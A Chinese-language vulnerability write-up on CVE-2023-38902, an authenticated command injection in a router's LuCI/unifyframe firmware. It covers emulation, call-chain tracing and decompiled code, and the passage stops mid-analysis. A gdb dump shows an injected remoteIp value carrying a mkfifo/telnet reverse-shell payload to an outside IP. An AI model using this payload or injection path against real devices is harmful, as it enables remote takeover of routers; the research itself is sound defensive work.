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CVE-2023-38902的详细研究

IoT 3个月前 admin
47 0 0 


一

前言


这是我收获的第一个CVE编号，在复现了winmt师傅的CVE-2023-34644后，他告诉我最新的固件虽然做了一些简单的处理，导致无法在未授权的情况下RCE，但因为没有从根源上对命令执行点做限制，所以在授权后，仍然可以进行RCE。我对最新的固件进行了分析，完整记录了授权后的RCE漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了，并且某厂商官网也已经发布了最新的固件，现将该文章分享出来，供大家进行学习和研究。


PS:本文记录的部分内容和之前发布过的复现CVE-2023-34644文章中的部分内容有相似之处，因为对前期的lua文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯，因此就保留了两篇文章中相似的部分。


二

仿真环境搭建


仿真环境搭建请参考：https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4


该文章详细记录了某厂商路由器的仿真过程。

qemu的启动脚本如下：
#!/bin/bash
sudo qemu-system-mipsel 
    -cpu 74Kf 
    -M malta 
    -kernel vmlinux-3.2.0-4-4kc-malta 
    -hda debian_squeeze_mipsel_standard.qcow2 
    -append "root=/dev/sda1 console=tty0" 
    -net nic 
    -net tap,ifname=tap0,script=no,downscript=no 
    -nographic

其中的vmlinux-3.2.0-4-4kc-maltadebian_squeeze_mipsel_standard.qcow2文件从https://people.debian.org/~aurel32/qemu/mipsel/进行下载。

在执行qemu启动脚本之前，执行下面的脚本，创建一个网桥。
#!/bin/sh
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥，则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口，只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0



三

漏洞分析

lua文件调用链分析

新版本219调用链分析

在usr/lib/lua/luci/modules/cmd.lua文件中有如下代码，容易让初学者搞混，所以在此简单说明一下：
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
......
    devSta[opt[i]] = function(params) 
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
......    
end

首先是先定义了一个表opt里面装了字符串adddelupload等字符串，然后又定义了四张空表acConfigdevConfigdevStadevCap，接下来是一个for循环来遍历opt表。

以devSta[opt[i]] = function(params)这行代码为例，假设现在opt[i]是元素add，function(params)这里是声明了一个匿名函数，因为函数也是一个变量，这个变量被直接存储到了devSta表中，以键值的形式存在，键就是字符串add而值就是这个函数，之后调用这个函数的话可以直接写devSta["add"]()
function hello()
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta["add"] = hello --假设此时遍历到了opt表中的add元素

为什么特别说明这里呢？

因为我在开始分析的时候，我一直以为这里是匹配到对应的键值后直接去执行函数，导致在此处执行了doParamsfetch函数（实际上通过上面的分析也知道，这里只是定义了这些函数，并没有进行调用）
下面开始正式从入口分析/api/cmd的这条链，在/usr/lib/lua/luci/controller/eweb/api.lua文件中存在entry({"api", "cmd"}, call("rpc_cmd"), nil)这行代码，意味着授权后访问/api/cmd路径时，可以调用rpc_cmd函数。
function rpc_cmd()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.cmd"
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

通过分析rpc_cmd函数得知_tbl已经包含了cmd.lua中所有变量的定义（上文已经分析过了），主要是ac_configdev_configdev_sta这三个表包含了adddelupdategetsetcleardoc这些操作，而devCap表只有get。

相关代码如下：
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}

for i = 1, #opt do
    acConfig[opt[i]] = function(params)
        local model = require "ac_config"
        params.method = opt[i]
        params.cfg_cmd = "ac_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end

    devConfig[opt[i]] = function(params)
        local model = require "dev_config"
        params.method = opt[i]
        params.cfg_cmd = "dev_config"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end

    devSta[opt[i]] = function(params) 
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end
    if opt[i] == "doc" then
        syshell = function(params)
            local tool = require "luci.utils.tool"
            return tool.doc(params)
        end
    end
end

然后来看rpc_cmd函数中的这行代码ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle函数的参数是_tbl，看下luci.utils.jsonrpc文件中的handle函数，发现又将参数tbl传给了resolve，同时传入的还有报文中的method字段。
function handle(tbl, rawsource, ...)
......
    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end

resolve函数主要是将mod表中存放键值对中的函数提取出来，假设method为devCap.get，那么下面的代码最后可以将匿名函数devCap["get"]赋值给mod并返回：
function resolve(mod, method)
    local path = luci.util.split(method, ".")
    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end

分析proxy(method, json.params or {})发现，将刚刚解析的返回值method被proxy函数当做参数，这里的method又传入了luci.util文件中的copcall函数。
function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
......
end

copcall函数主要是对coxpcall的一个封装：
function copcall(f, ...)
    return coxpcall(f, copcall_id, ...)
end

终于在coxpcall函数内部发现调用了f：
function coxpcall(f, err, ...)
    local res, co = oldpcall(coroutine.create, f)
......
end

oldpcall(coroutine.create, f)这行代码的目的是在一个新的协程中运行函数f。至此开始执行上面提到的匿名函数，重新回顾一下它的代码，该函数调用了doParams对json数据进行解析，随后调用了fetch函数。
devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)

这个fetch函数在cmd.lua文件中已经定义了，这里调用了fn也就是fetch函数传入进来的第一个参数：
local function fetch(fn, shell, params, ...)
    require "luci.json"
    local tool = require "luci.utils.tool"
    local _start = os.time()
    local _res = fn(...)
......
end

fetch函数的第一个参数为model.fetch，model是require "dev_cap.lua"后的结果，所以在cmd.lua的fetch函数内部调用了dev_sta.lua文件中定义的fetch函数，该函数定义如下，能够看到最后是调用了/usr/lib/lua/libuflua.so文件中的client_call函数。
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
......
    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end

用IDA打开/usr/lib/lua/libuflua.so文件，发现并没有看到有定义的client_call函数，不过发现了uf_client_call函数，猜测可能是程序内部进行了关联。shift+f12搜索字符串发现并没有看到client_call（如下图）。
CVE-2023-38902的详细研究

大概率说明IDA没有把client_call解析成字符串，而是解析成了代码。我这里用010Editor打开该文件进行搜索字符串client_call，成功搜索到后发现其地址位于0xff0处。

CVE-2023-38902的详细研究


可以看到IDA确实是将0xff0位置的数据当做了代码来解析，选中这部分数据，按a，就能以字符串的形式呈现了。
CVE-2023-38902的详细研究
CVE-2023-38902的详细研究

对字符串client_call进行交叉引用，发现最终调用位置如下，luaL_register是Lua中注册C语言编写的函数，它作用是将C函数添加到一个Lua模块中，使得这些C函数能够从Lua代码中被调用。
CVE-2023-38902的详细研究

该函数的原型如下：
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);


◆lua_State *L：Lua状态指针，代表了一个Lua解释器实例。
◆const char *libname：模块的名称，这个名称会在Lua中作为一个全局变量存在，存放模块的函数。
◆const luaL_Reg *l：一个结构体数组，包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的C函数指针


这里重点关注第三个参数，这就说明0x1101C的位置存放的是一个字符串以及一个函数指针（如下图），因此判断出client_call实际就定义在了sub_A00中。
CVE-2023-38902的详细研究

sub_A00函数定义如下，可以看到最后是调用了uf_client_call函数，而在这之前的很多赋值操作如*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);，很容易能猜测到其实是在解析Lua传入的各个参数字段。

在Lua的代码中uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)这里传入了多个参数，但是sub_A00函数就一个参数a1，结合的操作分析出这里是在解析参数。
int __fastcall sub_A00(int a1)
{
  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);
  }
......

uf_client_call函数是一个引用外部库的函数，用grep在整个文件系统搜索字符串uf_client_call，结合/usr/lib/lua/libuflua.so文件中引用的外部库进行分析，最终判断出uf_client_call函数定义在/usr/lib/libunifyframe.so。
CVE-2023-38902的详细研究

uf_client_call函数首先判断了method的类型，然后解析出报文中各字段的值，并将其键值对添加到一个JSON对象中，接着将最终处理好的JSON对象转换为JSON格式的字符串，通过uf_socket_msg_write用socket套接字进行数据传输。
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
  v5 = json_object_new_object();
......
  switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
  {
    case 0:
      v15 = ((int (*)(void))strlen)() + 10;
......
      v13 = "acConfig.%s";
      goto LABEL_22;
    case 1:
      v14 = ((int (*)(void))strlen)() + 11;
......
      v13 = "devConfig.%s";
      goto LABEL_22;
    case 2:
      v8 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devSta.%s";
      goto LABEL_22;
    case 3:
      v16 = ((int (*)(void))strlen)() + 8;
......
      v13 = "devCap.%s";
      goto LABEL_22;
    case 4:
      v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数，该函数的作用是在已有的JSON对象中添加一个键值对，以json_object_object_add(v20, "remoteIp", v23)函数为例，作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中，
      json_object_object_add(v5, "method", v19);
      v20 = json_object_new_object();
......
      v21 = json_object_new_string(a1[2]);
      json_object_object_add(v20, "module", v21);
      v22 = a1[5];
      if ( !v22 )
        goto LABEL_35;
      json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
      v25 = a1[6];
      if ( v25 )
      {
        v26 = json_object_new_string(v25);
......
        json_object_object_add(v20, "remotePwd", v26);
      }
      if ( a1[9] )
      {
......
        json_object_object_add(v20, "buf", v27);
      }
      if ( *a1 )
      {
        if ( *a1 != 2 )
        {
          v28 = *((unsigned __int8 *)a1 + 45);
          goto LABEL_58;
        }
        if ( *((_BYTE *)a1 + 42) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "execute";
            goto LABEL_56;
          }
        }
      }
      else
      {
        if ( *((_BYTE *)a1 + 43) )
        {
          v29 = json_object_new_boolean(1);
          if ( v29 )
            json_object_object_add(v20, "force", v29);
        }
        if ( *((_BYTE *)a1 + 44) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "configId_not_change";
LABEL_56:
            json_object_object_add(v31, v32, v30);
            goto LABEL_57;
          }
        }
      }
LABEL_57:
      v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
      if ( v28 )
      {
        v33 = json_object_new_boolean(1);
        if ( v33 )
          json_object_object_add(v20, "from_url", v33);
      }
      if ( *((_BYTE *)a1 + 47) )
      {
        v34 = json_object_new_boolean(1);
        if ( v34 )
          json_object_object_add(v20, "from_file", v34);
      }
      if ( *((_BYTE *)a1 + 48) )
      {
        v35 = json_object_new_boolean(1);
        if ( v35 )
          json_object_object_add(v20, "multi", v35);
      }
      if ( *((_BYTE *)a1 + 46) )
      {
        v36 = json_object_new_boolean(1);
        if ( v36 )
          json_object_object_add(v20, "not_commit", v36);
      }
      if ( *((_BYTE *)a1 + 40) )
      {
        v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
        if ( v37 )
          json_object_object_add(v20, "async", v37);
      }
      v38 = (_BYTE *)a1[3];
      if ( !v38 || !*v38 )
        goto LABEL_78;
      v39 = json_object_new_string(v38);
      json_object_object_add(v20, "data", v39);
LABEL_78:
      v41 = (_BYTE *)a1[4];
      if ( v41 && *v41 )
      {
        v42 = json_object_new_string(v41);
        if ( !v42 )
        {
          json_object_put(v20);
          json_object_put(v5);
          v40 = 630;
          goto LABEL_82;
        }
        json_object_object_add(v20, "device", v42);
      }
      json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值，向v5中添加新的键值对
      v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
      v44 = uf_socket_client_init(0);
......
      v50 = strlen(v43);
      uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write，用socket实现了进程间通信，将解析好的json数据发送给其他进程进行处理
......

既然存在uf_socket_msg_write进行数据发送，那么肯定就在一个地方有用uf_socket_msg_read函数进行数据的接收，用grep进行字符串搜索，发现/usr/sbin/unifyframe-sgi.elf文件，并且该文件还位于/etc/init.d目录下，这意味着该进程最初就会启动并一直存在，所以判断出这个unifyframe-sgi.elf文件就是用来接收libunifyframe.so文件所发送过来的数据。
CVE-2023-38902的详细研究

219版本之前的调用链

该调用链是winmt师傅在CVE-2023-34644利用的，在219之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的204版本。

在/usr/lib/lua/luci/controller/eweb/api.lua文件中，配置了路由entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问/api/auth路径时，将调用rpc_auth。在luci框架中sysauth属性控制是否需要进行系统级的用户认证才能访问该路由，这里的sysauth属性为false，表示无需进行系统认证即可访问。

rpc_auth函数首先引入了一些模块，然后获取HTTP_CONTENT_LENGTH的长度是否大于1000字节，如果不大于的话会将准备HTTP响应的类型设置为application/json，下面的handle函数第一个参数_tbl传入的是luci.modules.noauth文件返回的内容。
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

到了handle函数内部后的流程与分析最新版的步骤一样，就不再赘述，最后的结果就是能在这里触发noauth文件中的merge函数（前提是报文中要设置method字段的值为merge）

noauth的文件中定义了merge函数：
function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

merge函数又调用了/usr/lib/lua/luci/modules/cmd.lua文件中的devSta.set函数，之后的过程又和上文中分析最新版的步骤一样，也不再重复记录。
devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)


为什么最新版不能再走这条链了？

在219版本，在noauth.lua文件中的merge函数，加入了对params中危险字符的过滤，调用了includeXxs和includeQuote函数，对换行符、回车符、反引号、&、$、;、|等符号都做了过滤，这就意味着后续无法再进行命令注入了。而219版本只在这里进行了危险字符的过滤，只要从其他地方调用到诸如dev_capdev_sta表中的函数依然可以进行命令注入。
function merge(params)
    local cmd = require "luci.modules.cmd"
    local tool = require("luci.utils.tool")
    local _strParams = luci.json.encode(params)

    if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
        tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
        return 'INVALID DATA'
    end

    return cmd.devSta.set({
        device = "pc",
        module = "networkId_merge",
        data = params,
        async = true
    })
end

function includeXxs(str)
    local ngstr = "[nr`&$;|]"
    return string.match(str, ngstr) ~= nil
end

function includeQuote(str)
    return string.match(str, "(['])") ~= nil
end


漏洞文件分析

下面开始分析/usr/sbin/unifyframe-sgi.elf文件，整体流程是在main函数调用了三个关键函数uf_socket_msg_readparse_contentadd_pkg_cmd2_task，他们的作用分别为接收数据、解析数据、执行命令。

字段解析

由uf_socket_msg_read函数将json数据读入到内存中，地址为v31+1。
//uf_socket_msg_read

  v31 = (_DWORD *)malloc_pkg();
......
  pthread_mutex_lock(v29 + 5);
  *v31 = v29;
  v52 = uf_socket_msg_read(*v29, v31 + 1);
  pthread_mutex_unlock(v29 + 5);

通过gdb来查看读入的数据这里只为说明gdb可以查看内存中读入的数据，文章前后发送的报文并不一样。
pwndbg> x/4s 0x623850
0x623850:	"{ "method": "devConfig.get", "params": { "module": "123", "remoteIp": "$(mkfifo \/tmp\/test;telnet 192.168.45.203 6666 0<\/tmp\/test|\/bin\/sh > \/tmp\/test)", "remotePwd": "", "async": true, "data": "...
0x623918:	""{\"kkk\":\"abc\"}" } }"

json数据的各字段进行解析在parse_content函数中完成，该函数首先判断了params和method字段是否存在，然后在method字段不为cmdArr的情况下，调用parse_obj2_cmd函数进一步对字段进行解析。
//parse_content 
  v3 = json_tokener_parse();
  v4 = v3;
......
  v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )//检查了 params 字段是否存在值
  {
LABEL_27:
    json_object_put(v7);
    return -1;
  }
  if ( json_object_object_get_ex(v4, "method", v19) != 1 )//检查了 method 字段是否存在值
  {
LABEL_26:
    v7 = v4;
    goto LABEL_27;
  }
  v8 = json_object_get_string(v19[0]);
  if ( !v8 )
  {
......
  }
  if ( strstr(v8, "cmdArr") )//因为发送的 method 字段不为 cmdArr，所以进入 else
  {
......
  }
  else
  {
......
    v16 = parse_obj2_cmd(v4); //进行数据解析的具体位置,v4为Json对象                  
    *v15 = v16;
    if ( !v16 )
    {
......
    }
    pkg_add_cmd(a1, v15);
    v15[2] = 0;
  }

parse_obj2_cmd函数中具体的解析了各个字段及类型并把它们记录到一个堆块中，最终返回该堆块地址，便于之后的访问。想知道POC的编写格式就要对此处进行逆向分析，具体分析结果已写在注释中。
//parse_obj2_cmd
  v2 = malloc(0x34);//创建了一个堆块，用于记录和存储接下来的各种信息，该函数最终会返回这个堆块地址
  v3 = v2;
......
  if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//判断params字段是否存在，存在的话将值赋给v38
  {
......
  }
  if ( json_object_object_get_ex(a1, "method", &v37) != 1 )//判断method字段是否存在，存在的话将值赋给v37
  {
......
  }
  v4 = json_object_get_string(v37);//获取到method的值，下面去匹配对应的操作，各种操作都对应一个数字，该数字放在了堆块的第一个指针处
  v5 = v4;
......
  if ( strstr(v4, "devSta") )
  {
    v6 = 2;
  }
  else
  {
    if ( strstr(v5, "acConfig") )
    {
      *(_DWORD *)v3 = 0;
      goto LABEL_21;
    }
    if ( strstr(v5, "devConfig") )
    {
      *(_DWORD *)v3 = 1;
      goto LABEL_21;
    }
    if ( strstr(v5, "devCap") )
    {
      v6 = 3;
    }
    else
    {
      if ( !strstr(v5, "ufSys") )
      {
        uf_log_printf(uf_log, (const char *)dword_4219EC, "sgi.c", "parse_obj2_cmd", 274);
        goto LABEL_109;
      }
      v6 = 4;
    }
  }
  *(_DWORD *)v3 = v6;
LABEL_21:
  v7 = strchr(v5, 46);//此处的strchr与strdup函数配合将method字段中xxx.xxx的字符串进行了分割，假设最初method为devConfig.get，那么此处会将get放入堆块中的第二个指针处
  v8 = strdup(v7 + 1);
  *(_DWORD *)(v3 + 4) = v8;
  if ( json_object_object_get_ex(v38, "module", &v37) != 1 )//判断params字段中是否存在module这个值，存在的话将module的值放入v37中，不存在直接返回
  {
......
  }
  v10 = json_object_get_string(v37);
  if ( !v10 )
  {
    uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 294);
    goto LABEL_109;
  }
  v11 = strdup(v10);
  *(_DWORD *)(v3 + 8) = v11;//将module字段的值放到堆块的第三个指针中
  if ( json_object_object_get_ex(v38, "remoteIp", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 5) < 2 )//这里判断params字段中remoteIp是否存在，存在的话将remoteIp的值赋给v37，同时对remoteIp值的类型做了检查，这里其实就要它的类型为string
  {
    v12 = json_object_get_string(v37);
    if ( v12 )
    {
      v13 = strdup(v12);
      *(_DWORD *)(v3 + 20) = v13;//将remoteIp的值放入堆块的第六个指针中
......
    }
  }
  else
  {
    *(_DWORD *)(v3 + 20) = 0;
  }
  if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )//作用同上类似，这里要求remotePwd的类型为array，但是如果传入array类型的话，前端做了相应的检查导致异常，因此猜测这里应该是写的Bug
  {
    v14 = json_object_get_string(v37);
    if ( v14 )
    {
      v15 = strdup(v14);
      *(_DWORD *)(v3 + 24) = v15;
......  
    }
  }
  v16 = *(_DWORD *)v3 != 2;
  *(_BYTE *)(v3 + 40) = 0;
  *(_BYTE *)(v3 + 41) = v16;
  if ( json_object_object_get_ex(v38, "async", &v37) == 1 )
  {
    v17 = (_BYTE *)sub_404BAC(v37);
    v18 = v17;
    if ( v17 )
    {
      if ( *v17 == 48 || !strcmp(v17, "false") )
      {
        *(_BYTE *)(v3 + 40) = 1;
        *(_BYTE *)(v3 + 41) = 1;
      }
      if ( *v18 == 49 || !strcmp(v18, "true") )
        *(_WORD *)(v3 + 40) = 1;
      free(v18);
    }
  }
  if ( json_object_object_get_ex(v38, "force", &v37) == 1 )
  {
    v19 = (_BYTE *)sub_404BAC(v37);
    v20 = v19;
    if ( v19 )
    {
      if ( *v19 == 49 || !strcmp(v19, "true") )
        *(_BYTE *)(v3 + 43) = 1;
      free(v20);
    }
  }
  if ( json_object_object_get_ex(v38, "configId_not_change", &v37) == 1 )
  {
    v21 = (_BYTE *)sub_404BAC(v37);
    v22 = v21;
    if ( v21 )
    {
      if ( *v21 == 49 || !strcmp(v21, "true") )
        *(_BYTE *)(v3 + 44) = 1;
      free(v22);
    }
  }
  if ( json_object_object_get_ex(v38, "from_url", &v37) == 1 )
  {
    v23 = (_BYTE *)sub_404BAC(v37);
    v24 = v23;
    if ( v23 )
    {
      if ( *v23 == 49 || !strcmp(v23, "true") )
        *(_BYTE *)(v3 + 45) = 1;
      free(v24);
    }
  }
  if ( json_object_object_get_ex(v38, "from_file", &v37) == 1 )
  {
    v25 = (_BYTE *)sub_404BAC(v37);
    v26 = v25;
    if ( v25 )
    {
      if ( *v25 == 49 || !strcmp(v25, "true") )
        *(_BYTE *)(v3 + 47) = 1;
      free(v26);
    }
  }
  if ( json_object_object_get_ex(v38, "multi", &v37) == 1 )
  {
    v27 = (_BYTE *)sub_404BAC(v37);
    v28 = v27;
    if ( v27 )
    {
      if ( *v27 == 49 || !strcmp(v27, "true") )
        *(_BYTE *)(v3 + 48) = 1;
      free(v28);
    }
  }
  if ( json_object_object_get_ex(v38, "not_commit", &v37) == 1 )
  {
    v29 = (_BYTE *)sub_404BAC(v37);
    v30 = v29;
    if ( v29 )
    {
      if ( *v29 == 49 || !strcmp(v29, "true") )
        *(_BYTE *)(v3 + 46) = 1;
      free(v30);
    }
  }
  if ( json_object_object_get_ex(v38, "execute", &v37) == 1 )
  {
    v31 = (_BYTE *)sub_404BAC(v37);
    v32 = v31;
    if ( v31 )
    {
      if ( *v31 == 49 || !strcmp(v31, "true") )
        *(_BYTE *)(v3 + 42) = 1;
      free(v32);
    }
  }
  v33 = v3;
  if ( json_object_object_get_ex(v38, "data", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 4) < 3 )//判断params字段中是否存在data，如果存在的话将其赋值给v37，并且检查了data的值类型，只能为object,array,string三种类型，然后将data的值放到堆块的第四个指针处
  {
    v34 = json_object_get_string(v37);
    if ( v34 )
    {
      v35 = strdup(v34);
      *(_DWORD *)(v3 + 12) = v35;
      if ( !v35 )
      {
        v9 = 470;
        goto LABEL_108;
      }
    }
  }
  return v33;//返回堆块地址

将这个堆块装的各种数据绘制成图片可能更直观一些（如下）xxx代表有些保留字段，或者是一些标志位，它们在后续利用过程中并不重要，暂不详细记录。
CVE-2023-38902的详细研究

使用GDB调试到此处看到的各字段信息如下：


parse_obj2_cmd函数结束后，会执行pkg_add_cmd(a1, v15)，它的核心作用就是在a1这个数据结构中记录了v15的指针，使得后续操作通过a1访问到刚刚解析出来的各个字段。不过这pkg_add_cmd函数里有一个谜之操作，在这行代码中*(_DWORD *)(a1 + 92) = a2 + 13是把a2也就是v15的值加上了13存储到了a1中，而通过后续的分析得知，之后访问这个v15的堆块是通过*(a1+92)-13得到的地址。存的时候+13，访问的时候-13，这里没太理解但并不影响我们后续的分析。

触发漏洞的调用链分析

main ==> add_pkg_cmd2_task ==> uf_cmd_call ==> ufm_handle ==> remote_call ==>sub_41A148

json数据解析完成后，会调用add_pkg_cmd2_task，该函数通过访问之前解析出的各个字段，判断method是不是devCap，如果是的话可以调用后续的漏洞函数（不是devCap也可以触发漏洞但是调用链走的并不是我分析的这条）。
//add_pkg_cmd2_task
  if ( dword_43897C < 1001 )//这里正常就可以进入
  {
    pthread_mutex_lock(*a1 + 20);
    v3 = (_DWORD *)a1[22];//这个a1[22]也就是上面提到的*(a1+92)
    v4 = v3 - 13;//当时存地址时加了13，这里又减了13，所以v4就是上面记录了解析json各字段的那个堆块地址
    for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
    {
      if ( v4 + 13 == a1 + 22 )
      {
        pthread_mutex_unlock(*a1 + 20);
        return 0;
      }
      v6 = malloc(20);
      v7 = (int **)v6;
......
      v10 = (int *)(v6 + 4);
      v7[2] = v10;
      v7[1] = v10;
      *v7 = v4;
      v7[4] = (int *)(v7 + 3);
      v7[3] = (int *)(v7 + 3);
......   
      *v7 = v4;
      v11 = (_DWORD *)*v4;
      v12 = *(_DWORD *)*v4;
      if ( v12 == 3 )//触发uf_cmd_call函数的关键就是method值的操作类型要为devCap,才能执行break跳出循环，调用uf_cmd_call函数（method为devConfig.get时，依然可以完成攻击，不过走的就是其他链了）
        break;
      if ( v12 == 4 )
      {
        gettimeofday(v4 + 5, 0);
        uf_sys_handle(**v7, v4 + 1);
LABEL_22:
        gettimeofday(v4 + 7, 0);
        sub_40B404(v7);
        goto LABEL_23;
      }
      if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//这个v12也就是解析的Operation type值
      {
......
      }
      sub_40B0C4(v7);
LABEL_23:
      v4 = (int *)i;
    }
    gettimeofday(v4 + 5, 0);
    if ( uf_cmd_call(*v4, v4 + 1) )//后续的漏洞触发是在这个函数中            
      v13 = 2;
    else
      v13 = 1;
    v4[12] = v13;
    goto LABEL_22;
  }
......
  return v1;

uf_cmd_call函数：
//uf_cmd_call  
  v2 = *(const char **)(a1 + 4);
